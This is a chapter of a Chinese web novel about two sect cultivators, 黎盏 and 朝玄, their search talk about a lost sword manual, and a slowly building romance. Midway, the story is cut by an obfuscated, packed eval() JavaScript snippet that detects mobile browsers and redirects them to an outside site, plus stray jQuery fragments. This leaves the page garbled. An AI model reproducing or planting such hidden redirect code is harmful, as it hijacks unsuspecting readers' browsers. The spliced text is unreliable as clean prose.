21.心动(九)

作品:《我替白月光嫁给龙傲天

    黎盏笑眯眯地:“什么呀,这么神神秘秘的。”


    王二嘿嘿一笑:“一月前段青玄陨落的事,祝哥,你应该也都知道吧。”


    黎盏点头:“略有听闻。”


    王二便将段青玄朝曦洞之事一一讲来,不忘提及遗产中那本人人觊觎,举世无双的剑谱,说若谁能替黎盏寻到琼花录,那朝曦洞便双手奉上。


    他颇为得意,露出那只半个巴掌大小的,透明椭圆的球体。


    “这就是能探查琼花录的法器,我用剩下灵石换的,这个比较小型,只能持续一日,等有钱了,我再换个持续时间长点的。”


    又补充:“你们放心,我知道你们忙,你们安心修行,苦差事我来干,如果真的有这好运气,我就把那本剑谱给朝哥,其他的什么金银财宝大家一起平分。”


    黎盏这些日子的确看到了有不少弟子蹲在花花草草旁边探查,现下一想竟都是为了自己的琼花录,不禁笑出声来。


    段青玄啊段青玄,你可真害人不浅。


    他从袖中掏出十数块灵石递去:“都这么说了,我总不能不表示,这些应该够换一个月的,你先用着,不够了再来找我拿。”


    王二眼睛直冒光,瞬间干劲十足。


    *


    朝玄从头到尾一直没应声,等王二也离开,一面理着桌面狼藉,才道:“何必破费?反正也找不到。”


    “还没试,你怎么肯定?”


    朝玄没什么特殊情绪,吃了两口王二带来的干饼,点头评价“还不错”,他掰开一小块,坐到黎盏身侧,往他嘴边递:


    “这不是很当然的事,黎盏是他道侣,连他都想不到段青玄把琼花录存在哪处,又岂会被随意找到?”


    黎盏咬了一口,干饼咔嚓咔嚓脆响。


    “那你觉得,段青玄会把琼花录放在哪?”


    朝玄想了想:“如果我是段青玄,应该会把他放在一个对他与黎盏都很重要的地方。”


    “多重要算重要?”


    “初见,确认关系……或者,和离?反正不是在这么大个没头没尾的常华剑宗。”


    “我倒觉得不会,”黎盏依靠在墙面,脸蛋埋在怀间被褥,只露出两只滴溜打转的眼珠子,“段青玄看上去正直,对谁都和善,可独独对黎盏有种难说的偏执,当初其实不是黎盏不想知道,是段青玄道貌岸然不让他知道,因为这样黎盏就永远找不到琼花录,他们就永远没有解开的可能。”


    朝玄继续喂他:“你怎么知道得这么清楚?”


    黎盏从须弥戒中翻出一堆话本,抽出最厚的《朝岚山隐藏的一百五十个细节你知道吗》:“上面写的啊,这本感情戏写得可好了,我看了都感动,你要不要也看看?”


    朝玄:“……还是不了。”


    等黎盏把一整张干饼全吃掉,朝玄将方才江然赠予的丹药放进他手掌。


    黎盏不解:“给我做什么?不是补偿你的吗?”


    “我看你一直盯着,才收下的。”


    “我只是在想这个瓶子很精致……”


    “拿着就是了。”


    朝玄突然探下身子,与他保持着一个不近不远的距离,黎盏吓了一跳,眼睫微微上抬,鬓发柔软地贴在皙白颊侧。


    “我很像你的哪个故人?”


    黎盏心跳有一霎停滞,很快恢复自然:“怎么这么问?”


    朝玄指腹温热,不轻不重擦过黎盏柔嫩下唇,将一点碎屑带离:“总觉得你在透过我,去看一个什么熟悉的人。”


    黎盏别开眼,朝玄干脆捏着他下巴转过脸来,对上红褐色的湿亮双眸:“干嘛不说话。”


    黎盏也来了劲:“是又怎样,不是又怎样?”


    朝玄嘴角微微朝下抿着,舌尖顶了顶左腮,显然有些不满又无处施为。从黎盏角度,能看到灯烛下一半没入阴影的脸,下颌线显得有些锋利,这些日子忙于修行,似乎还生了短刺的青茬。


    似乎是想起自己并没有立场去追问,很快,他败下阵来:“不怎样,随便问问。”


    黎盏端详着朝玄。


    除却那双漆黑的眼眸,其实朝玄模样不如段青玄周正,唯独少年恣纵更胜几分,使剑时有风与花雨,都随着锐利的剑势,化为一场轻薄桃花逐水流。


    习惯成自然,他总忍不住想要征服这双眼睛的主人,于是过于亲密的举动,似有若无地暗示,都在有意无意地引导着朝玄对他更加亲近。


    他也能感觉到朝玄对自己的想法,甚至在对方对自己产生多余情愫时,非但没有及时阻止,反而纵之任之其发展。可以说,如今朝玄与他这般不明不白的暧昧,黎盏逃不脱这个主要责任人。


    也许最开始只是好奇,或者凭借一时兴致为之。可时间长了,也就生出点其他心思来,报复也好,少得可怜的真心也罢,他离开段青玄这么多年了,先别说只是相似,哪怕就算他真的移情别恋有了新欢,也没有对不起任何人。


    朝玄脸好身材好不说,肌肉手感也不差,更重要的是还年轻,极大满足了他对从来没见过段青玄年少模样的一种想象…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029552|177917||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …


    黎盏:“真想知道?”


    朝玄低头,鼻尖凑近黎盏脸颊,轻轻蹭了蹭:“你要不愿意说,那就不想知道。”


    黎盏思考一会儿:“上次的酒喝完了吗?”


    朝玄有点不好意思:“好像被我练剑时候喝完了。”


    山下回来李昭明带了好几壶,这才几天,全没了?黎盏莫名觉得好气好笑,也懒得讲话了,起身想走,朝玄拽住他手腕,跟着起身,低声道:“我再去买,等我。”


    他速度很快,不多时,就再次回了青竹居。


    晚风携着一点竹香,吹得人清爽惬意,两人在院中喝酒,祝篱似乎酒量一般,不过喝了一壶,便摊倒在小石桌上不省人事,朝玄唤了两声“闻灯”,听得迷迷糊糊的应答,便知道对方醉得厉害。


    院子离屋舍几步路,他蹲下身子,抱着黎盏回屋,不知怎的人又醒了,到了榻前,拽着他脖子,朝玄就跟着一起往下倒,稀里糊涂滚成一团,鼻尖凑得很近,几次相触又分离,呼吸烫热得像是在皮肤上烧灼。


    黎盏鼻腔发闷,尾音却像拖着蜜似的又软又黏,顺势摸了一遍胸肌:“你干嘛总想知道我的事?”


    “明知故问……你就这么勾我的?”


    黎盏眨眨眼:“我真不知道,可能,可能你和我夫君很像?”


    朝玄喉咙发滚,按住他手腕:“你有夫君?那我们这样不清不楚算什么,偷/情?”


    黎盏脸颊泛着酡红,唇瓣微张,在烛火中直愣愣看着他,有些失焦,睫毛的阴影像一把小扇子落在眼睑,又密又长。


    朝玄掐住他两腮捏了捏:“你还这么看我?”


    “从入宗就这样,我把你当好室友,天天这么盯我,又牵我手,跟我靠这么近,抱你也不反抗,再清白正直的心思都被你勾/引没了,现在还一面摸我,一面跟我说你有夫君……拿我当什么呢?”


    黎盏没回话,拽着他衣摆,满屋子都是两人是身上的桂花酒香。


    “算了,”朝玄自暴自弃把扑来的黎盏搂进怀里,掌下一截温凉的细腰,收紧又松开,犹豫许久,只低头靠近他脖颈,哑声道,“醉鬼一样,说什么、做什么也都记不住,早知道不让你喝这么多了。”


    朝玄胸膛宽阔,抱着他像块火炉一样烫,耳侧呼吸抑制不住的粗急。


    黎盏脑袋很舒服地枕在朝玄肩头,再清明不过的眼神瞧着桌上噼里啪啦炸开的烛火,慢悠悠想道,都这种时候了,这样好的氛围,却非要装什么正人君子,真是与段青玄一般无用。